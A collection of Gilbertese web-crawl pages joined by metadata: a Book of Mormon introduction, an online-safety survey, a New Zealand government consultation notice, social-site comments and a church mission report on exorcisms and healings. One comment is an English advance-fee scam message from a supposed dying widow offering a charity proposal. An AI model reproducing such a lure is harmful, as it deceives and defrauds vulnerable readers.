ao e taekinaki iai rongorongoia uakoraki botannaomata aika a korakora. E roko te botannaomata are teuana mai Ierutarem n 600 I.K. ao i mwina a maenako ni uabaronga, ao a ataaki n araia aika Nibwaite ao Reimwanaite. Te botannaomata are teuana e a kaman roko riki n te tai are e kamangaoi iai neewe te Uea n te Taua are Bwabera. A ataaki te botannaomata aio n araia ae Iaretaite. I mwin ngaa n ririki ao a bane ni mate ma ti Reimwanaite ni maiu, ao bon ngaiia tekorakina mai buakoia aia bakatibu Inria ake i Amerika\nTe bwai ae riki ae moan te kakawaki are koreaki i nanon Ana Boki Moomon bon taekan ana mwakuri ni ibuobuoki te Uea ae Iesu Kristo i buakoia Nibwaite n te tai ae aki maan i mwin mangautina. E kamatataaki iai reirein te euangkerio, e kamatataa naba te babaire ni kamaiu, ao e tuangiia naba aomata bwaai aika a riai ni karaoi bwa e aonga n reke irouia te rau n te maiu aio ao te kamaiuaki ae akea tokina n te maiu ae e na roko.\nNgke e a tia ana koroboki Moomon, e angan natina te mwaane ae Moronaai rongorongo akekei, are e karin tabeua oin ana taeka ao e a karabai taian bwaatua iaon te Tabuki are Kumora. N Tebetembwa 21, 1823, ao e a kaoti Moronaai aio, n te rabwata ae mimitong ae e a tia ni mangauti, nakon te burabeti ae Iotebwa Timiti ao e reireinna ni kaineti ma rongorongo ni kawai ma taekan ae a na rairaki nakon te taetae ni Ingiriti.\nN te tai ae aki maan ao e a anganaki Iotebwa Timiti taian bwaatua, are e rairi man ana bwai n tutuaraoi ma mwaakan te Atua. E a tia ni boretiaki te rongorongo aio nakon taetae aika a mwaiti bwa te tia kakoaua riki teuana ae boou ma n raka ibukin Iesu Kristo bwa bon Natin te Atua ae maiu, ao bwa ni kabane ake a nakoina ao n ongeaba nakon tua ma otenanti n Ana euangkerio a na kamaiuaki.\nNi kaineti ma te rongorongo aio ao e taku te burabeti ae Iotebwa Timiti: \"I tuangiia mataniwin te ekaretia bwa Ana Boki Moomon bon te boki ae te kabanea n eti mai buakon boki nako i aon te aonaba, ao bon ngaia kingin aan ara ekaretia, ao e na kaania riki te Atua te aomata man irirakin nanon reirei ake i nanona, nakon taian boki riki tabeua.\"\nN ikotaki ma Iotebwa Timiti ao e a tia te Uea ni kariaia tengaun ma temanna riki bwa a na noori bwaatua aika koora n oin mataia ao n riki bwa taan kakoaua aika a onoti ibukin koauan ma tabun Ana Boki Moomon. A tia ni koreaki aia koaua i nanon te boki aio n te atu ae \"Aia Koaua Taan Kakoaua aika Teniman\" ao \"Aia Koaua Taan Kakoaua aika Waniman.\"\nTi butimwaia aomata ni kabane n taabo nako bwa a na wareka Ana Boki Moomon, a na iangoia raoi inanoia te rongorongo are i nanona, ao i mwina a na butia te Atua, te Tama ae Akea Tokina, n aran Kristo ngkana e koaua te boki. Aomata aika a karaoa aio ao ni bubuti ma te onimaki e na reke irouia ni mwaakan te Tamnei ae Raoiroi aia koaua ibukin koauana ma tabuna. (Noora Moronaai 10:3–5.)\nAomata aika karekea te kakoaua ae tabu aio mai iroun te Tamnei ae Tabu a na ataia n te mwaaka naba aio bwa Iesu Kristo bon te Tia Kamaiua te aonaba, ao Iotebwa Timiti bon Ana tia kaotioti, ao Ana burabeti ni boong aika kaitira, ao Ana Ekaretia Iesu Kristo ibukiia Aika Itiaki ni Boong aika Kaitira bon abanuean te Uea are e a tia ni manga kateaki iaon te aonaba, ibukin te katauraoi i mwaain Kauaokin te Mesia.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.churchofjesuschrist.org\/study\/scriptures\/bofm\/introduction?lang=gil","date":"2021-12-08T09:16:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363465.47\/warc\/CC-MAIN-20211208083545-20211208113545-00013.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":727,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.442,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"GCSO Website Survey - Kiribati Te Get Safe Online e kakatauraoi mwakuri n ibuobuoki n rabakauna ao ni mwataina i aon aroaroia aomata aika a kakaraoi online n akea boona ao n aki tabaitera.Kaekakin taian titiraki aikai iroum e na buoka kanakoraoan ara mwakuri. Ti waniua te miniti manim ni kaekai taian titiraki.A na kawakinaki raoi am kaeka ma taian kaeka ni kabane ao a na tibwaki ao n rinanoaki ti irouia raora ni babaire ke ni mwakuri. Ngkana ko kaekai titiraki aikai ao ko a kaotia ngkanne bwa ko kariaia kaainakin ke karaoan te kamatebwai aei. Ko kona n nora ara kainibaire ibukin kawakinan rongorongo ikai - privacy policy here. OK Question Title * 1. Aekakira rongorongo aika ko taratarai ke ko kakaei n te bong aei? (Rinei ni kabane aika a kaineti nakoim) Taian ibuobuoki i aon te kamanomano online Taian ibuobuoki i aon passwords aika a mano Taian ibuobuoki i aon kakabouan taian software Taian ibuobuoki i aon kamanoaia te roronrikirake online Taian ibuobuoki i aon kamanoan au bitineti\/tabo ni mwakuri online Taian ibuobuoki i aon kamanoaia taan bobwai online Taian ibuobuoki i aon kamanoan te bobwai online Taian ibuobuoki i aon karaoan au bangke ke kabwara tarau online Taian ibuobuoki riki tabeua (taiaoka kaotia) OK Question Title * 2. Tera ae kaira nanom nakon ara website n te bong aei? (Rinea teuana) Ara tabo ae karekei rongorongo (Search Engine) Ana maroro te Get Safe Online aika a karaoaki online (webinar) Ana mwakuri ae wakin Get Safe Online i aon social media Ma n taian website tabeua Social media Te Nutibeba ke Te Magazine Te Katanoata (Nutibeba\/Magazine\/Rerio\/Baao ni mwamwananga ibukia te botanaomata\/Katekeaki bwa a na warekaki\/Tamnei ke Video) Te Kaongora online Te Katanoata online ke aika a kabutaki Te maroro i aon te rerio Maroro aika a kanakoaki i aon te tareboon (SMS) Ana mwakuri ni kakatanoata te Get Safe Online Tabeua riki (taiaoka kaotia) OK Question Title * 3. Te aba ra ae ko maeka iai? (iai taian website aika tauraoi ibukia kain te aonnaba, ti nang kan ataia bwa ko noora ara website ma ia) Fiji Kiribati Nauru Papua New Guinea Samoa Solomon Islands Tonga Tuvalu Vanuatu None of These OK NEXT","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.surveymonkey.co.uk\/r\/VZTMKXK","date":"2022-01-28T22:47:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320306346.64\/warc\/CC-MAIN-20220128212503-20220129002503-00531.warc.gz","language":"gil","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000078678131104}","num_words":359,"character_repetition_ratio":0.117,"word_repetition_ratio":0.0,"special_characters_ratio":0.192,"stopwords_ratio":0.273,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Long-term Insights Briefings (LTIB) bon te bwai ae boou ao ni kainanoaki ngkai iroun te tautaeka i an te tua ae te Public Service Act 2020. A kainanoaki taabo ni mwakuri ma ana rabwata te tautaeka bwa a na karaoi iango ma babaire ibukin 10 te ririki ma ngkai, ni karau n tarai bitaki ma rikirake n taai aika a na roko n ikotaki ma angabuaka ao aanga ni kabwaia aika a na kona n rota Aotearoa, Nutiran. Te LTIB e ibuobuoki ni kaungai iango ma babaire ibukin ngkai ao taai aika a na roko n te aro bwa te botaki ni mwakuri ibukia te botanaomata (public service) e na tauraoi ni kaitarai bitaki aikai ao ni kona naba ni karekei ibuobuoki aika a teimaan ke n teimatoa ibukia kain Aotearoa. A kona n reke riki rongorongo i aon te LTIB ikai:\nTe boto n iango ae ti kan uotiarake bwa e na rinanoaki bon – Karikirakean boraoin aroia ma rongorongoia kain te Betebeke: Aanga ni kakorakora ke ni katamaroa riki aroia ma maiuraoia kain te Betebeke n taai aika a na roko (Improving Pacific data equity: Opportunities to enhance the future of Pacific wellbeing). Te LTIB e na kabatia riki te ota ma te atatai i aon karikirakean boraoin aroia ma rongorongoia kain te Betebeke ni buoka karaoan babaire ao tuua tabeua ibukia kain te Betebeke n taai aika a na roko.\nI an te tua ao ti kantaningaki bwa ti na karaoa uoua te raun te reitaki ni maroro ma te botanaomata n te aro bwa n te kabanea n tai ao te LTIB e na bon reke raoi irouna aia iango te botanaomata – te moan raun bon i aon te boto n iango are e na uotakirakeaki, ao te kauoua n raun bon i aon rongorongon ke kanoan LTIB ae bwanin.\nTi kainanoi iango aika a koreaki ke aika maroroakinaki i aon ana boto ni iango LTIB ae ti kan uotiarake. Ti a tia ni katauraoi beeba ibukin kanoan te reitaki ni maroro aika a kona ni karaoaki i aon ara website. Aio ibukin ara moan raun ni maroro ma te botanaomata. Beeba aika a koreaki aikai a taekin rongorongo aika a kakawaki ibukin buokan ke kairan am iango aika ko na tibwai n ikotaki ma titiraki aikai:\nKo kona n kaota am iango aika bati i aon taian titiraki.\nE tauraoi i aon ara website te booma ibukin kaotan ao tibwakin am iango ae e mano ao n aki kona n ataki manna.\nEmail nakoira: [email protected]\nKanakoa nakon: Policy Branch\nMinistry for Pacific Peoples PO BOX 833\nWellington 6140 New Zealand\nAo ngkana ko kan waaki ma te stakeholder engagements, n aron taian workshop, te maroro ma temanna imwin temanna te aomata, taiaoka n reitaki nakoira i aon: [email protected]\nE na toki butimwaean taian kaoti iango n te aoa 5 n te bwakantaai 28 Tianuare 2022.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.mpp.govt.nz\/programmes\/long-term-insights-briefing\/kiribati\/","date":"2022-01-17T03:53:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300289.37\/warc\/CC-MAIN-20220117031001-20220117061001-00588.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":475,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.398,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"I am Mrs. Julie Mewis, an aging widow suffering from long time illness (Esophageal Cancer). I have some important information (charity proposal) for you, May God continue to bless you, Please reply (firstname.lastname@example.org) for more details.\nmauri moa. Ia nang kan ongora iroum, ko mena iaa ngkai, ko taku ba kona ana Nei Baute. Ea tia nroko irarikim ke ko tuai n anaia. Ao a uara ngkai? Ao kato e uara ngkai? koa anganna naba au kamauri nakoina.ao riki tariu ma mwaneu ni kabane.\nIa manga ongora iroum ao tekeraoi ngkami mai ikanne.\nkam mena iaa ngkai Teraa? ko bon mena naba i aussy ke ko mena ngkai i fiji. tia ongora iroum ba antai ae taua te takakaro and merry xmas and happy new year.\ni taku ngkai ba koa mena i fiji.\nia manga ongora iroum.\nko angaa naba au kamauri nakoia natim ao tavale inanon te xmas aei ao riki ngkai e nang manga toki te ririki aio ao e nang manga roko te ririki ae e boou.merry xmas and happy new year to you all.\nMauri naba\nBon akea te news ma ti te runga ae e a waaki ngkai iaon tarawa.Kai ti bon bane ni marurung.Ao ngkami mai ikanne kam uara? ao te reirei naba e nang tikiraoi.Ao e uara te buabeka?\nti ngaia anne mai ikai moa.\nWell the one on the right is Nakibae n on the right is Tareta. E a bon nako naki akaka aron te katei utu...well its gud to hear frm u...Have a nice day sis n don't 4get regards to ur hubby...hahaha....\nAhh mauri nei Tera..so wat hav u been upto..kama bon kaina ozzie ker..wel ngaira e iangoaki ngkai te katei utu....hehehe...neways jst droping in 2 say hi 2 u n Lington especially 2 buum...lol...hahahaha...catch up later...bye bye..\nE rabwa ti marurung raoi. I am in the States, in Seattle. I maeka ikai ma natiu ao buu. I have 2 kids, a boy and girl. Nei Bauea are e mena i Kiribati. I will send you her email address nakon am inbox. Ao antai moa ngke? :-) Are you related to Krisiano? :-)\nTeera,kanam tein ae e aki uotia Nei Fili ba ena uotia Nei Teniiti.Nei Teniiti ena moantaai ni mwananga n nakoati ao ia tia ni boraoraoi ma ngaia ao akea ana kanganga iai.Ma e na bae ni mwananga nte week aei,ma ngkana e mwananga ao ia manga reitaki ma ngkoe n aei ao ia anganiko naba te address ae ena mena iai.Ma ia manga ognora mai iroum.\nMoce mada.\noohh that's good to hear. When you next get in touch with him do say that Mozmin said hi. Lol if he still remembers me as we were 11 years old then.\nWe were in Baker Hall together.\nDid u also attend Lelean?\nHave a great weekend! tc","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=0dx5elcddxkqk","date":"2022-01-19T13:42:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320301341.12\/warc\/CC-MAIN-20220119125003-20220119155003-00012.warc.gz","language":"gil","language_score":0.9956353903,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9956353902816772}","num_words":464,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.185,"flagged_words_ratio":0.0,"lang_id_score":0.994,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ti kitana Tarawa n te kaabong 9\/4\/09 iaon Super Carrier. Maitia kain ara tiim bon tengaun ma niman (15) ao aikai araia: Bwebweua Kamatie, (Tiibi Leader Teaoraereke Parish), Nei Taarome (Banraeaba ), Nei Mangarita Mikaere (Ierutarem ae boou), Nei Ruti Ioteba (Abaunamou), Nei Veronica Reken (Abaunamou), Nei Bunaua Biribo), Nei Taake Erenete (Abaunamou), Nei Turiana Tekuua (Abaunamou), Nei Teakoua Tiaon (Natari), Nei Meeta Erinta (Natari), Nei Maungaroa Tetobunga (Bairiki), Nei Teretia Ioane (Bairiki), Ruanamakin ao ngai Kaoti mai Tearaereke.\nNi manangara aio ao ti kabakai kantokara ao akea tebauna ae reke iroura. Aikai ngkanne kanoan ara waaki ni karokoa ti roko i Tabiteua Meang:\nTe nebonebo ni katoa karangaina\nTe Bau n Nanoanga n te aoa 3 koraki\nTe Rotario ni katoa tairiki\nA. Abemama 11\/4 – 12\/4\/09\nImwin te Tutia are n tairikin te Kaonobong Tabu ao ti reitaki n nebonebo ma tarira ao manera ake a roko ni kaea te Toa. Maitia kain te charismatic ake ti reitaki ma ngaia bon onoman (6) ma ibukin uarereken te tai ao ti a katokabai naba iaoia ian te kantaninga are a na manga reke ba taan kamarurungia taria ao maneia ake a mamara. Imain kitanakia ao ti katiku irouia taian beba ibukin te Seminar ao te Ribooti. Ti kitana Abemama n te Tabati 12\/4\/09.\nB. Tabibeuea meang 14\/4 – 16\/4\/09\nImain rokora i Tabiteuea Meang ao ti reitaki n nebonebo ao inanon ara tai n anene ao ea anganaki naba manera ae Nei Ruonamakin te tamnei ae kangai taekana:\n\"I nora te maneaba teuana iaon Tabiteua Maiaki ae iai ona ao imarenan te o ma te maneaba ao a karekebai ataei aika uarerek ae kaka aua (4) te ririki ni katobibia te maneaba anne, ao taraia ataei aikai kanga tamnei aika buakaka\"\nI kaeka Ruonamakin ao ni karaba n ana karea ao ao e na bon kakoroa bukina Te Uea n rokora ikekei. Ti roko i Tabiteuea Meang n te Kauabong 14\/4\/09. N tikura ikai inanon uoua (2) te bong ao aikai bai ake ti wakina:\nTe katokabai iaoin te Tiibi Leader ma kain ana tiim.\nTe katokabai iaoia Catechist ake a bane ni botaki i Tanaeang ibukin aia katauraoi nakon aia Toa Betero Tiroi.\nKatoki aoraki irouia aoraki ae tao maitia e kaan bubua te aomata ma te karautaeka n aki banen makuri aikai ibukin uarereken te tai ma tia katikua iroun aia Tiibi Leader ma ana tiim ni katoki aoraki.\nTi kaungai riki nanoia ni matennanoan Ana karea te Tamnei ae Raoiroi.\nAna tangira Te Uea\nIai te ataeinimane ae ea kaman roko taekana iroura ibukin buokana ba bon natin manera ae Maungaroa ae e reirei i Tabiteuea Meang, ao aorakina e bon irekereke ma teuare buakaka. N rokora i Tanaeang ao e kawara tinana aio ba e taku ba e aki raoiroi ana taratara ba kanga e a mataki ao ea namakina mwebuakana n ana auti, ma ngke e roko irarikin tinana ao e taku ba e namakina te kukurei ao ana taratara e taku ba e a raoiroi. N tain te tataro ma ngaia ao a otinako riaborona aika niman (5) ba i) taburitongaun, ii) routakani iii) kooka, iv) tekabane ao te v) unimane, are e a bon tiku n rawa ni kitana te ataei aei ao ni wene iaona man bonota ikena. Inanon te ataeinimane aei ao e kaeka tinana ni kangai \"mommy kona tiringai?, ngaia aei ae ko kairai nakoia nakai\" ma e tuanga tinana ba tiaki kain te tataro ae ana tiringa ma bon raona ake a mena irouna. Ni korakoran te ribano ni ianena ao ea nako te unimane ao e teirake te ataei ni karaba Te Uea ao n tabeki baina n nebonebo. E raba Te Uea n ana Tangira nakon te ataeinimane aio.\nImain kitanakin Tabiteuea Meang ao e kaotia aia Tiibi Leader ae iai te noku ke te nanobuaka irouia te koraki ake e aki reke aia tai ni tataroakinaki irouia kain ara tiim ba a taku ba iai te karea irouia. I karaua nanon te Tiibi leader ae Nei Terabata Tereuoete ba ti temmana te Tamnei ae Raoiroi ao i tuangia naba ba iai naba iroumi, ao nikiran makuri kam a karaoi ni kababanea iaon ami abamakoro aio n ai aron kainanoana irouia ma anne ai bon ami bai ni buokia.\nC. Tabiteuea Maiaki 16\/4 – 10\/5\/09\nAikai ngkanne kanoan ara waaki ake ti wakin inanon kawan Tabiteuea Maiaki are ti kabutaki iai inanon kaka uabong (2).\nAnga reirei iaon baikai:\nKabarabaran te Charismatic – Bwebweua Kamatie\nTe Tataro Nebonebo – Teretia Ioane\/Mangarita\nNei Maria ao Te Tamnei ae Raoiroi – Meera Erinta\nAna karea Te Tamnei ae Raoiroi – Kaoti Teingoa\nTe tataro (383 m in Bible) – Kaoti Teingoa\nFr Ruatamaki Ambo – Kaoti Teingoa\nTe Taetae ni burabeti\nInanon ara reirei ao ti katuruturua riki nakoia ana Karea Te Tamnei ae Raoiroi n aiaron are kabarabara St Bauro n ana moan reta nakoia I-Kirinto (Makoro 12 &14).\nE rinanoi baike e maeuakini St Bauro ni moan tein te Ekaretia, ao e tangiriia moan Kiritian ba a na ata ana kawai ni makuri te Tamnei ae Raoiroi akana ruaiwa (9) akanne, ao aikai ana kawai St. Bauro are a na kona n reke iai iroura karea akanne ba:\nA na reirei taekan karea akanne\nA na makuri\nA na anga ngaia nako iai\nTe International Chatholic Charismatic Renewal Services Rome (ICCRS), e kamatoa are e taekina St. Bauro ao ea manga kurubuni ana kawai ni makuri te Tamnei ae Raoiroi akana ruaiwa (9) akanne n tenua (3) te kurubu n ai aron aikai:\nI. Te maaka n taetae (The Power to Say)\nTe taetae ni Ianena\nKabaran te taetae ni Ianena\nTe taetae ni burabeti\nII. Te maaka n atatai (The power to know)\nTe taetae ni wanawana\nTe taetae n ataibai\nTe matairiki\nIII. Te maaka ni makuri (The power to act)\nTe karea n onimaki\nTe karea ni katoki aoraki\nTe karea ae te kakai\nInanon kabarabaran taian karea akanne ao ti reitaki ma nake iai irouia ao n tibaia n te aro ba a aonga ni matata raoi kain te Charismatic iaon Tabiteuea Maiaki, te koraki aika tibatiba aikai bon kain ara tiim ake iai irouia karea akanne. Ni wakinan aei ao ti noria ba iai te ota ao ringaia ma ingaingaia ni kan rawei karea akanne, ti kakoaua naba ba aio te kawai are e kona ni karababa aia atatai ao otaia iaon taekan karea aikai, ao n te koaua e waekoa naba aron rekena irouia n ai aron ae ti noria inanon tikura irouia ao ibuakoia n te tai ae uarereke, ba bukina ba a anga ngaiia nako iai ao a makuria naba.\nAikai ngkanne ana makuri Te Uea inanon kawa ake ti kawari ni moa mai Buariki nako Tewai ni karokoa Taku, ni karokoa ae ti okira Buariki ike tia waki iai ma kain te Charismatic ake a teirake man kawa nako n reita ara waki ma ngaia.\nBuariki 16\/4 – 18\/4\/09\nA maiti ake a mamara ao a manga oki.\nE rikirake aron aia nebonebo ni korakora\nE reke irouia te karea ni Ianena\nA kaiokaki uoman manera ake bon kain te Charismatic ma a tiku ni kariribai imarenaia inanon iraua te ririki. Imain rokora uoua te wiki ao a bon un naba ao kanga a nang rotaki uake buia ao bon utuia naba. Ma e raba Te Uea n te tai aei ba n te kabanea ni bong are ti nang kitana Buariki nako Tewai, ao ti uti n teingabong anne n nebonebo ao ni baran te nebonebo ao a bon kania ma ni kaeia i bon irouia ni irabati ao ni kabarabure ibuakon te tang ae korakora. E kakoauaki ba imwin aei ao a reke tibangaia nakai ni karea aika te Ianena ao te Taetae ni Burabeti.\nA matennanoa te Taetae ni Burabeti ao a otinako ana rongorongo Te Uea nakoia aika bati.\nTewai 18\/8 – 20\/4\/09\nN reitaki ma te karea ni matairiki are e anganaki Ruonakmakin iaon te kaibuke ao bon aio te kawa are tauaki taekan maneabaia irouia riaboro ake a uarereke. N rokora n te kawa aio ao e kawarai te Catechist ae Tabera ni bubuti buokan natina nakon te tiim. Aorakin natina aio kanga e uruaki ana iango, ao ngkana e kan nakon te tabo teuana ao e a bon taonnako naba n akea atakina irouia ngkana a kaongoaki irouia ake a noria; ana ririki te tei aei bon aua (4). I kaeka te Catechist aio ni kangai ti na karaoia ma te bai ae moan te raoiroi ba ti na angan Te Uea inanon tataroakinana. I reitaki ma kain ara tiim ao n tuangia ba ti a tataroakina ana kanganga te Catechist.\nN te tairiki anne ao ti nebonebo man katokabai iaoia te koraki ake a kainanoa buokaia. Inanon te ribano n ianena ao I a noria ataei aika uarereke aikai a katobibi imarenan ara moan ni mronron ao te kauoua ao inanon rebwetauan te ribano ni ianena anne ao a otinako rirakiu ma ngke I kaurei matau n taraia ao bon akea te ataei ae e aiwa inanon te maneaba. N te karangaina are imwina ao tia manga nebonebo naba ao a manga noraki naba ataei akekei man te tai aei e roia maneu ae Nei Teakoua Tiaon. N te karangaina are ai ara kabanea ni bong ti a manga nebonebo naba. Ngkanne n te tai aei ao I a nora te aine ae toba te tei, ao au iango ngai I taku ba e a kaoti Nei Maria nakoira ma natina ae Iesu, ma inanon miakinan te tamnei aei ao kanga tarana irou kanga ai bon tiaki riban te aomata irou ao kanga ai bon tiaki naba riban te aomata ae tabu, ngaia are I a butia Iesu ni kangai \"Te Uea tera nanon te tamnei ae ko anganai aei?\" Imwin are I butia Te Uea ao e a bon katikaki naba te tamnei arei ni kaniaki imatau ao I a bon kina raoi ba Nei Terokoiti are bun te Catechist ae e toba Kaobunang. N reitaki naba ma anne ao iai naba te tamnei ae e anganaki maneu ae Nei Meera Kaitaake n tain naba te nebonebo ba e nora natin te Catechist arei ba e mena inanon te O ae e katineaki inanon te te maneaba. Ti a bane n tiba aio imwin te nebonebo ao ngke I tiba au noraba arei ao e a bon katurua naba tarakiu bun te Catechist ma matana ae katokai nakoiu. Imwin anne ao ti a nakon te umantabu n tataro ma tangan te catechist ao natia. Inanon te katokabai ma te nebonebo ae rebwetaua ao a noraki baike a uarereke akekei n reitaki ma taian beki aika mainaina, uraura ao aika matamata n otinako mai irouia ao n otinako man te umantabu n nako taari man tatanrikaki n tara te tabo are a kitanna. E raba Te Uea. A taekinna ainen Tewai ba imain rokora ao a niniaki are bun te catechist iroun Kaobunang ngke e matu inanon te maneaba aio n te ngaina.\nTe kauoua ngkanne bon rongorongon te unimane ae Iakoba ae e ririba te charismatic n ana waki ae te ribano ni ianena, ao te katokabai. Kam na ongora ngkanne ana Tangira Te Uea nakon Iakoba. Iai tibun Iakoba aika uoman ataeinaine ae te roro ae 15 ao te 14 te ririki ao aorakia ataeinaine aikai te maraki n atu iroun neiere te ikawai ao te kabuebue iroun are te karimwi. E kawarai tibuia te unimane ibukin buokaia tibuna aikai, ao I kaeka ni kangai kai tiaki ngaira ae ti na katoka aorakiia, ma ti na bon angan Iesu ae bon ngaia te taokita ae maaka iaoia taokita, ma taraia iai kain abam ao ngaia e kaeka iai, ao ngaia ko kaira tibum ma kainabam n nakomai ba kam na reitia tibumi ao ngaia e kaeka ao e taku ba e na bon bae n aki iri kainabana ba e ririba te charismatic. Ma I a kauarerekea ao n tuanga ba ngkana e tangiriia tibuna ao ke nakomai n reitira ba tiaki te aoraki n rabata irouia tibumi ma ana kaoraki teuare buakaka. E nako neiei ao e a oki ma tibuna akekei ao a rin n te umantabu ao e aki man imwina ao e roko te catechist ae e kan reita naba te makuri ao e roko naba Iakoba. Ti a kaai n rin te umantabu ba are a tia n roko ara koraki. N tain te katoki aoraki ao e raba ana tangira Te Uea nakon te catechist ae Tabera ba ai bon te charismatic ni koaua ba e korakora ana ribano ni ianena. N rebwetauan te ianena ao e a otinako te unaine ma irouia ataei aikai n rirarikiu ni kaea te mataroa are e in ao n otinako iai n akea ana kanganga.\nImwin baran te tataro ao ti a baneakina te maneaba ba ai te katauraoi iroura ba are a roko kain Taungaeaka ba a na manga inaira nakon aia kawa. E a nako te maroro ao e a teirake Iakoba ba are bon ngaia unimanen Tewai ni maroro ao n reitia nakoia ana koraki n Tewai ni kaotia ba e a tiba oki man te umantabu ao Nna tiba tibangau ae reke n tain aia katokabai kain te tiim aei. N tain te tataro ao I a bon ongo nanon aia tataro te koraki aikai ni kabane n aia tataro are te taetae ni ianena ao te taeka ae rangin tangimaka i taningau ao n ringai bon te taeka ae kangai \"kauka nanom ba Nna rin iai\" e tibatiba Iakoba ibuakon te tang ae korakora. A bane n rotaki kain Tewai ba a ringaki n ana tibatiba ao a bane ni wanako ranin mataia mani mabu te maneaba n akea te karongoa. E reitia Iakoba nakoia kain Tewai ba bai ni kabane ake a tibatiba iai kain te tiim aio iaon taian karea bon te koaua ni koaua ao akea kairuana, n ai aron ae I noria ngai te tai aei ao I ringaki iai ibukina ba I bon rangin totokoia ao n aki kakoaua, ao e raba te tiim aei ba e bon rangin manena ao ni bongana rokona n ara abamakoro aei ba e barongai raoi kanoan wana, ao aia katauraoi a karaoia raoi inanon taian koaua n ai aron ae I noria n te bong aei. E raba Te Uea.\nTaungaeaka 20\/4 -22\/4\/09\nA maiti kain te botaki ake a mamara ao a manga teirake\nA maiti naba ake a kainnanoa te katoki aoraki ao a namakina buokaia n taint e tataro\nKatabanga 24\/4 – 26\/4\/09\nTemanna te aine ae bubuti buokana ibukin aorakin baina aika uaai ba a roroko marakia ae korakora ao ai bon akea te bai ae kona ni karaoia. Ti reitaki ma ngaia n te katokabai.\nTe kauoman n aoraki bon kain Taungaeaka ao aorakin neiei akea ma te bai ae e maku iai ba a roko baike a uarereke akekei n ninianako inanon ana banga n tatakaro iai; a bon maiti kurikuri aia koraki ao temanna mai buakoia te mane ae uarereke are e roko naba n tinetine ni mamma irouna. Te aine aei bon Karorina arana ao bon manen te catechist ae Tabera are e catechist i Tewai, e bon roko Tabera ngaia ma te Tiibi leader ae Rikare Kirata ni kaira manena anne ba e na tataroakinaki. A roko iroura imuin tebuina n te tairiki ao ti katokabai ma neiei imwin te aine ane oti n naba 1 ieta. Ngke e tia te tataro ma aia koraki ao a manga okinako ba are e raroa kawaia ba ana okira Tewai.\nTaaku 26\/4 - 28\/4\/09\nTemanna te unimane ae arana Kaikai Timau ana karo are bun te catechist. Te bai ae riki iroun teuaei ba n tetaina tao ni 2001 ao e mena i Tarawa ao e kaea te Tutia i Teaoraereke ao ni baran te tataro ao e a otinako ao e baka naba ngke e tabe n ruo rikaki man tenan step. Ngke e baka ao e bakara ana itera ae te atai ao ngaia ngkanne are e a riki iai ikoakina ao kanga e a tine waena are te angatai ao e maraki ao kanga e a uakinna ngkana e nakonako. Imwin te katokabai ma ngaia ao ti a kitanna ni manga nakon Manuera. Ngke ti a oki ao ea rin te maneaba ni kakakaeai ma I bon rangin mimi ngke I a noria ao kanga e a waetata n nakonako kanga ai manga te ataeinimane ao e a bon miakinna naba bun natina ae te catechist. E kawarai i tabon te maneaba ao ngke e roko irou ao aio ana taeka \"E raba ami tataro ma N nang rimoami nako Buariki\" I kaeka ni karaba Te Uea ba bon Ngaia ae E karaoa anne nakoim.\nAra kauoman n aoraki bon Manuera Naiti ae bun Nei Anna ae bon te Leader n te charismatic i Taku. Teuaei e a bon aoaoria naba n ana auti ba are bon te tenaki baina ma waena (te mauku) ao e tiku n arona aio tao inanon te tai ae e a kan uoua te ririki. E taku Anna ba a ngae taan riring n ringnga ao e bon aki reke naba buokana. Bon ngaia te mauku anne are e kaota ana makuri Te Uea nakoina n ai aron ane e a ti a n otinako rongongona te nwspaper ae te \"Tarakai\" ao te \"Itoi ni Kiribati\".\nN te karea ni burabeti are e otinako iaon Taaku ao kanga e bon aki boraoi ma nanoia ara koraki ao a kubanako iai ba e kangai \"E marurung te charismatic iaon Abemama\" anne are e nako mai iroun manera ae Nei Turiana Tekiua.\nBuariki 28\/4 – 10\/5\/09\nTi a okira Buariki are ti nang botaki ngkanne ma kain ara botaki ake a bane n roko mani kawa nako ao ti a tiku naba ikai n ua rokon baora n okira Tarawa.\nKatenibong 29\/4\/09\nTe uti n nebonebo nte aoa 5am n te umantabu. E waki nako te tataro, warekan ana taeka Te Uea e tibaki ao inanon te tibatiba ao e a manga nako naba te karea ni burabeti ae kangai \"Iai ana makuri Te Uea ae e na karaoaki n te bong aei ao a riai n tia imain te bong\" A kubanako kain Tabiteua Maiaki n te rongorongo aei ao a taku kai bon akea te rongorongo aei ngke ti wareka Ana taeka Te Uea. Ni baran te nebonebo ao e roko irou te Tiibi Leader ao e tiriraki ba tera te rongorongo arei. I kaeka nakoina ni kangai anne bon te taetae ni burabeti ane e anganira te order ibukin te makuri ae e na karaoaki, ao n riai naba n tia n te bong aei imain te bong. Imwin te kaingabong ao a roko naba taian kaa aika tokaraki irouia aoraki, ao ni ikotaki ma auti 